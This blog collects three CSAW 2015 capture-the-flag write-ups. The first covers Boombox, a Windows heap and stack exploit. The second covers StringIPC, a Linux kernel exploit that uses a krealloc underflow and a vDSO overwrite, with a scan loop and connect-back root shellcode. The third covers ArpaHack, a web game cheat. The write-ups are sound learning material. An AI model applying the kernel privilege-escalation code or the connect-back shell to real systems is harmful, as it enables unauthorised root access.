Blog


Boombox is a windows 8.1 x64 pwning challange created by Markus Gaasedelen for CSAW finals 2015. Sadly we ended up putting this challange off for too long during the ctf and ran out of time to solve it.

However he offered it up as a challange to people on RPISEC, so I decided to try it out again.



Boombox is run with AppJailLauncher, and implements a system for storing "songs" on different tracks on different "mixtapes". There is many actions you can do to these tapes, such as rewind, play, record, seek, and fastforward. Though reverse engineering these functions, I put together what these structures looked like.

struct boombox_state {
    uint32_t selected_track_index;
    uint32_t selected_mixtape;
    uint64_t position_in_track;
    mixtape * mixtape_list[10];
}

struct mixtape {
    boombox_state * global_state;
    char mixtape_name[0x20];
    uint64_t number_of_tracks;
    track * track_list[10];
}

struct track {
    char track_name[0x20];
    uint64_t track_length;
    char track_data[0x200];
}

It is important to note that the global boombox_state struct is located inside the stackframe of the main method. There is also an option to create mixtapes, which mallocs a mixtape struct and up to 10 track structs to go with it. You then can enter raw bytes for it to store in the tracks.

The vulnerability in this program lies in the rewind function. It allows you to "rewind" for a period of time and then attempt to subtract four times the number of seconds waited from the track position. However, there is an order of operations difference between the underflow check and the actual subtractions:

timeDiff = GetTickCount() - oldTime;
underflowCheckVar = 4 * (timeDiff / 1000);
if ( underflowCheckVar ) {
    if ( ((state_->position - underflowCheckVar) & 0x80000000) == 0 ) {
        state_->position -= 4 * timeDiff / 1000;
        formatted_print("Rewind stopped!\n", 5);
    }
    else {
        state_->position = 0;
        formatted_print("Reached start of track\n", 5);
    }
}

If you rewind by 1.9 seconds, 4 * (timeDiff / 1000) will equate to 4, while the actual subtraction (4 * timeDiff / 1000) will equate to 7. So we can get an underflow by 3 in the track position. This also means that we can write 3 bytes before the data buffer in the track struct, smashing the 3 most significant bytes of track_length. By seeking to some offset in that we can preform track operations at somewhat arbitrary offsets.

Read / Write Primitives
Although we have a very large size, it is not large enough to allow for small negative offsets, which prevents us from getting full arbitrary write. We also want to try and get arbitrary read, since ALSR is enabled and we do not know where anything is. We can attempt to leak some data by using the "play" function, which encodes the track data as sound effects and prints it to the screen. However it attempts to encode the entire track, and so with the huge track length we have, it hit invalid memory and crashes.

To fix these problems we can use the corrupted size of one track to directly write over the size of a second track. Setting the second track's size to int_max would allow us to get arbitrary write, even to small negative offsets, and by setting it to the offset we want to read plus the length of the data, we can prevent the runaway read in the play function.

With these two primitives, it is time to look for things that we can leak and modify to get our flag. Our goal is clear: We want to call the function at offset 0x3820 which opens the flag file and print it to the console. The easiest way to do this is to overwrite a return address on the stack. However we do not know where the text section will be, or where the stack will be when we run it. We also don't know the location of the heap to calculate our offsets from. Luckly the mixtape struct contains the golden ticket. It has both pointers to the heap (via the track pointers) and a pointer to the boombox_state struct on the stack. By using the stack address we can then read the return address and get the text segment location.

However, the difficulty is in finding the offset from the track structs to the mixtape struct. Every time AppJailLauncher is run the offset would be different (however between subsequent runs with the same AppJailLauncher instance the offset remained constant.) This offset also varied by about 0x5000, so I decided to try and dump a large section of the remote heap on the same AppJailLauncher instance to look for the mixtape name I set. It was a somewhat slow processes since the remote server kept disconnecting at random, but eventually the offset was found (It ended up being -0x5478 bytes from our track on the remote instance I run against.)

...
051b8: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
051d8: 0000000000000000 0000000000000000 0000000000420000 0000000000000000
051f8: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
05218: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
...
052d8: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
052f8: 0000000000000000 0000000000000000 0000000000210000 0000000000000000
05318: 0000002000000000 0000000000000000 0000000000000000 0000000000000000
05338: 0000000000000042 0000000000000000 0000000000000000 0000004000000000
05358: 0000000000000000 0000000000000000 0000002100420000 0000000000000000
05378: 0000000000000000 0000000000000000 0000000000000000 0000000000000000
05398: 0000000000410000 0000000000000000 0063000000200000 0000000000000021
053b8: 0021002100000081 0000000000200020 000000a500210020 0000000000210000
053d8: 0000000000000000 0100821da8372ec6 0002000100210000 0041020901ac0084
053f8: 3d524559414c5f54 4365746176656c45 6f72506574616572 0000000073736563
05418: 77006674635c7372 3a433d7269646e69 73776f646e69575c 41504d4f435f5f00
05438: 4d414e5245535500 5355006674633d45 4c49464f52505245 6573555c3a433d45
05458: 0000000000000000 0000000000000002 000000fb0b2eb1a0 000000fb0b2eb3d0
05478: 000000fb0b27fa90 0000000074736574 0000000000000000 0000000000000000 "test"=74736574 Our mixtape name
05498: 000000fb0b2e5a90 00007ffc62521ccc 6f626d6f6f625c73 200082152a3f2e4c
054b8: 6d65545c43415c65 08008257223f2e44 00007ffc625a8870 0000000100000001
054d8: 4c5c617461447070 6361505c6c61636f 6f625c736567616b 78652e786f626d6f
054f8: 6e69575c3a433d74 80001c00263d71d6 6573555c3a433d50 415c6674635c7372
05518: 0031237063542d50 80001b65263b71c8 53003a433d657669 6f6f526d65747379
05538: 6573555c3a433d43 80001a75263971ca 4f49535345530063 44523d454d414e4e
05558: 537265776f507377 8000195c263771cc 656c75646f4d5c30 494c425550005c73
05578: 433d68746150656c 8000186e263571ce 6d65747379735c73 6f646e69575c3233
05598: 206d6172676f7250 8000177341016a29 2450243d54504d4f 75646f4d53500047
055b8: 656c6946206d6172 8000163841036a2b 576d6172676f7250 5c3a433d32333436
...

With this offset it was now a simple matter of using our read primitives to read the heap, stack, and text addresses. Finally we use our write primitive to change the return address to our win function. However it seemed overwriting the return address from main was causing our win function to crash, so I ended up overwriting that address with a NOP ROP gadget (actually returning to the print menu for visual confirmation that our exploit was working) and then having the next address be the win function.

$ python pwn.py remote
Setting up...Done
Stack Leak: 0x000000a89565fd20
Heap Leak: 0x000000a89573b3d0
Text Leak: 0x00007ff7221f40ef
| +----------------------+
| | 1. upload mixtape    |
| | 2. eject mixtape     |
| | 3. select mixtape    |
| | 4. play              |
| | 5. fast forward      |
| | 6. rewind            |
| | 7. next track        |
| | 8. previous track    |
| | 9. record            |
| | 10. seek             |
| | 11. print menu       |
| | 12. exit             |
| +----------------------+
flag{th1s_ch4ll_us3d_t0_b3_4l0t_h4rd3r_th4n_th1s}

The final code can be found here.




This year at CSAW Finals there were a few kernel challenges. The one I will be solving in this post is StringIPC by Michael Coppola.
We are given a 64bit ubuntu 14.04.3 VM running a 3.13 kernel with SMEP, kptr_restrict, and dmesg_restrict enabled. There is a kernel module "StringIPC" loaded, but the source is given in the home directory. You can view the source here, and I will in-line some important parts in this post.

Analyzing the Kernel Module
The StringIPC module implements a basic interprocess communication system, allowing the device at /dev/csaw to be ioctl'ed to store and read data to different channels. There are 8 different ioctl codes which can be used to create, modify, and read/write to a channel:
#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8

CSAW_ALLOC_CHANNEL allows you to allocate a new channel and a new buffer with a given size while CSAW_GROW_CHANNEL and CSAW_SHRINK_CHANNEL use krealloc to change the size of the channel's buffer. CSAW_READ_CHANNEL and CSAW_WRITE_CHANNEL read and write to the memory buffer that has been allocated for the channel at an offset set by CSAW_SEEK_CHANNEL. Finally CSAW_OPEN_CHANNEL and CSAW_CLOSE_CHANNEL deal with which channel the ioctl interacts with.
The bug lies in the use of krealloc in realloc_ipc_channel:
static int realloc_ipc_channel ( struct ipc_state *state, int id, size_t size, int grow )
{
    struct ipc_channel *channel;
    size_t new_size;
    char *new_data;

    channel = get_channel_by_id(state, id);
    if ( IS_ERR(channel) )
        return PTR_ERR(channel);

    if ( grow )
        new_size = channel->buf_size + size;
    else
        new_size = channel->buf_size - size;

    new_data = krealloc(channel->data, new_size + 1, GFP_KERNEL);
    if ( new_data == NULL )
        return -EINVAL;

    channel->data = new_data;
    channel->buf_size = new_size;

    ipc_channel_put(state, channel);

    return 0;
}

By trying to shrink the channel buffer by 1 more than it was originally allocated for, new_size will underflow an become INT_MAX. When krealloc is called, 1 is added, and it overflows back to 0. From the source of krealloc, we see that if new_size is 0, it returns ZERO_SIZE_PTR:
void *krealloc(const void *p, size_t new_size, gfp_t flags) {
    void *ret;

    if (unlikely(!new_size)) {
         kfree(p);
         return ZERO_SIZE_PTR;
    }
...

ZERO_SIZE_PTR is defined as ((void *)16). So after our resize channel->data = 0x10 and channel->buf_size = INT_MAX. By seeking to some offset from 0x10 we can get arbitrary read and write to kernelspace.

Exploiting the Arbitrary Write
Now that we have our read and write, we can start crafting an exploit. SMEP is on, so we cannot just overwrite something and jump to userspace to execute a prepare/commit creds shellcode. To bypass this we can use a technique of overwriting the vDSO to cause another process running as root to execute our connect-back shellcode.

The idea here is that vDSO is mapped to both kernelspace and to the virtual memory of every process, including ones running as root. This is done to help speed up calls to specific syscalls which do not require context switching to work correctly. vDSO is mapped as R/X in userspace, but R/W in kernelspace. This allows us to modify it from the kernelspace, and have it executed by users in userspace.
There are a few steps to using this technique:
1. Gain arbitrary write and read
2. Locate vDSO in kernel space
3. Create connect-back shellcode for root processes
4. Overwrite parts of vDSO with our shellcode
5. Listen for our connect-back for our root shell.
We already have step 1 from our exploits of the StringIPC module, so the next step is to locate vDSO at runtime.

Locating vDSO
Below is the kernel code for initializing the vDSO pages in kernel space.
static int __init init_vdso_vars(void) {
    int npages = (vdso_end - vdso_start + PAGE_SIZE - 1) / PAGE_SIZE;
    int i;
    char *vbase;
    vdso_size = npages << PAGE_SHIFT;
    vdso_pages = kmalloc(sizeof(struct page *) * npages, GFP_KERNEL);
    if (!vdso_pages)
        goto oom;
    for (i = 0; i < npages; i++) {
        struct page *p;
        p = alloc_page(GFP_KERNEL);
        if (!p)
            goto oom;
        vdso_pages[i] = p;
        copy_page(page_address(p), vdso_start + i*PAGE_SIZE);
    }
    vbase = vmap(vdso_pages, npages, 0, PAGE_KERNEL);
...

So the vDSO pages are allocated in kernel space with alloc_page and then the pointer is stored into the vdso_pages array. So there are a few ways to locate these pages. If you are able to read /proc/kallsyms you may be able to read from vdso_pages to get the addresses directly. However that is not the case for this challenge. A second way is to search the start of every page in kernelspace for the ELF header which is part of the mapping of vDSO. We can further narrow these pages down by using signatures from vDSO. Here is my code to do that:
void* header = 0;
void* loc = 0xffffffff80000000;
size_t i = 0;
for (; loc<0xffffffffffffafff; loc+=0x1000) {
    readMem(&header,loc,8);
    if (header==0x010102464c457f) {
        fprintf(stderr,"%p elf\n",loc);
        readMem(&header,loc+0x270,8);
        //Look for 'clock_ge' signature (may not be at this offset, but happened to be)
        if (header==0x65675f6b636f6c63) {
            fprintf(stderr,"%p found it?\n",loc);
            break;
        }
    }
}

Now that we have found vDSO we can create our shellcode to overwrite it.

Connect-Back Shellcode
The connect-back shellcode can be a relatively general x86-64 shellcode, with a few modifications. The first modification is to only create the call-back shell for root processes. Since every process that calls gettimeofday will trigger our code, we don't want to be spammed with connections of non root processes. We can call syscall 0x66 (sys_getuid) and compare that against 0. If it is not, we will instead call syscall 0x60 which is sys_gettimeofday, so that we don't cause too many problems. Along the same lines, even if we are a root process, we don't want to crash things, so we can fork with syscall 0x39. In the parent we will do the same sys_gettimeofday forwarding, but in the child we will run our connect back.

The assembly for the shellcode I used can be found here. It connects to 127.0.0.1 on port 3333 and executes "/bin/sh".
One last thing we should do is dump the vDSO and check at what offset gettimeofday is located at. Once we know that we can overwrite this location with our shell code and wait for some process to call it. I set up a simple cron job to help guarantee one would. My final code can be found here. Here is a run of it:
csaw@team7:~$ id
uid=1000(csaw) gid=1000(csaw) groups=1000(csaw)
csaw@team7:~$ ./a.out 
allocate fd: 3 ret: 0 id:1
Shrink: 0 err:0
ZERO_SIZED_POINTER = 0x10
0xffffffff817bc000 elf
0xffffffff817d1000 elf
0xffffffff81b6c000 elf
0xffffffff81b9e000 elf
0xffffffff81c03000 elf
0xffffffff81c03000 found it?
Listening on [0.0.0.0] (family 0, port 3333)
Connection from [127.0.0.1] port 3333 [tcp/*] accepted (family 2, sport 58568)
id
uid=0(root) gid=0(root) groups=0(root)

Final Notes
vDSO is not the only memory mapped to both kernelspace and userspace. On x86-64, vSYSCALL serves a similar function to vDSO, but also has the plus-side of being in the same location every reboot (which may be predictable by the kernel version as well.) However kernel.vsyscall64 was not enabled on this challenge, so calls were passed to vDSO instead. If vm.vdso_enable is also set to 0, then vDSO will also be bypassed and the libc wrappers will default to the normal syscalls.

vDSO/vSYSCALL overwriting is also a useful technique that can be used by exploits in interrupt context as it does not require a local process to map memory or to gain elevated credentials.

This solution was also not the only way to solve this challenge. The soultion by the author can be found here.


CSAW Quals 2015 - ArpaHack

2015-09-22 16:58:26



ArpaHack was two web challenges in one site, K_{Stairs} and K_{Achieve}, originally scored at 50 and 150 points. Eventually they were increased to 100 and 200 points. The first challenge was to win the game, and the second was to win without taking damage.
The game itself is bunch of tiles of different types which you walk on. Grass tiles do nothing, lava tiles damage you, mystery tiles have a chance to kill you, hole tiles kill you, and wall tiles block you and damage you if you try to move onto them. There is also a food counter, which decreases every step you take. Once you run out of food you begin taking damage every step instead.
To be able to go any lengthy distance, the player needs a lot of food. The only way to get food is in the DLC store. However there is no way to actually get the tokens for the dlc.
We found that the tokens are stored only in the session, and not with the user, and that each time a user is registered, they are given 3 tokens to start. So by creating a bunch of new accounts, we could make as many tokens as we wanted, and play the game for the first flag.


However at the end it is impossible to not take damage, as the goal stairs are surrounded by lava.


So we had to find a way to modify the map or cheat our damage count.
The game stores the map and player data in local storage, both base64 encoded, and separated by a colon.
The player data appeared to change completely every second, so we assumed that it was encrypted.
The map data was also strange, but stayed consistent. Looking closely at the bytes it appeared that there were several rows of 0xff-0x0 with a few changed values every now and then. This patter was also offset by 0x48. Assuming that nulls would be the most likely byte in the map we eventually ran it through an xor with the 0xff-0x0 starting at 0x48. This gave us a large file with the map encoded with each tile being a nibble. Here it is an example of a map color coded:


We planned to modify this and then re-xor the bytes. However when we tried this we got "State Corrupted". Looking back at the map, we noticed that there was one extra byte at the end, which looked like some sort of checksum. Not knowing how the checksum was calculated, we bruteforced this one byte by making POST requests to /status. Once it returned that the map was valid, we put it into local storage and refreshed the page, putting us right next to the stairs so we could get our second flag.